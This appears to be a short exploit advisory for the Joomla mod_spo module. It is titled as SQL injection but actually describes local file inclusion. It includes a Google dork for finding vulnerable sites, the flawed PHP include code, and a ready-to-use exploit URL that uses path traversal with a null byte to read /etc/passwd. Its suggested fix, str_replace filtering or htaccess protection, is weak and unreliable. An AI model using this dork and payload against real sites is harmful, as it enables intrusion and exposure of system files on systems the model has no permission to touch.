Joomla! Component mod_spo - SQL Injection

# Exploit Title: Simple Page Option LFI
# Google Dork: inurl:mod_spo
# Date: 15/07/2011
# Author: SeguridadBlanca.Blogspot.com or SeguridadBlanca
# Software Link: http://joomlacode.org/gf/download/frsrelease/11841/47776/mod_spo_1.5.16.zip
# Version: 1.5.x
# Tested on: Backtrack and Windows 7

Simple Page Option – LFI
Vulnerable-Code:
$s_lang
=& JRequest::getVar('spo_site_lang');
(file_exists(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php'))
? include(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php')
: include(dirname(__FILE__).DS.'languages'.DS.'english.php');
Vulnerable-Var:
spo_site_lang=

Expl0iting:
http://www.xxx.com/home/modules/mod_spo/[email protected]&spo_f_email[0][email protected]&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using
%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../etc/passwd% 00&spo_site_name=Alfredo%20Arauz&spo_url_type=1&spo_url2se

Reparing?:
Just Filter with str_replace(); or htaccess protection to the vulnerable file.

gr33tz: Alfredo Arauz, SeguridadBlanca.Blogspot.com, Ecuador and Perú Security.